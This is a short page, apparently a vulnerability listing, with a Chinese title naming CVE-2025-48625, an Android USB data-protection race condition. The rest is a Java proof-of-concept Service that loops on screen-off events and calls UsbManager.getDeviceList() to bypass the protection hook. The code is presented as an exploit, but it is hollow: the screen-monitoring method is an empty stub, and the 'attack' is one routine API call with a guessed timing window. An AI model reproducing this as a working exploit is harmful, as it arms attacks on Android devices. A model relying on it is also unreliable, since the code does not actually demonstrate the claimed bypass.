CVE-2025-48625 Android UsbDataAdvancedProtectionHook 竞态条件本地权限提升漏洞

/* CVE-2025-48625 PoC - Android USB Data Race Condition * This PoC demonstrates the race condition in UsbDataAdvancedProtectionHook.java * that allows USB data access when screen is off. * * Note: This is a conceptual PoC for educational purposes only. * Actual exploitation requires specific timing and device conditions. */ import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.hardware.usb.UsbManager; import android.view.Display; import android.content.Context; public class UsbRaceConditionPOC extends Service { private UsbManager usbManager; private static final int RACE_WINDOW_MS = 50; @Override public void onCreate() { super.onCreate(); usbManager = (UsbManager) getSystemService(Context.USB_SERVICE); } @Override public int onStartCommand(Intent intent, int flags, int startId) { new Thread(new Runnable() { @Override public void run() { exploitRaceCondition(); } }).start(); return START_STICKY; } private void exploitRaceCondition() { /* * Race condition exploitation strategy: * 1. Monitor screen state transitions * 2. Create timing window during screen off/on transitions * 3. Trigger USB data access during the vulnerable window * 4. Bypass UsbDataAdvancedProtectionHook security checks */ while (true) { try { // Step 1: Wait for screen to turn off waitForScreenOff(); // Step 2: Immediately trigger USB access during transition Thread.sleep(RACE_WINDOW_MS / 2); // Step 3: Attempt USB data access // This exploits the race condition in UsbDataAdvancedProtectionHook.java attemptUsbAccess(); Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } } private void waitForScreenOff() { // Monitor display state changes // Implementation depends on Android version and device } private void attemptUsbAccess() { // Attempt to access USB data that should be blocked when screen is off // The race condition allows this to succeed during timing window if (usbManager != null) { // Trigger USB device enumeration usbManager.getDeviceList(); } } @Override public IBinder onBind(Intent intent) { return null; } }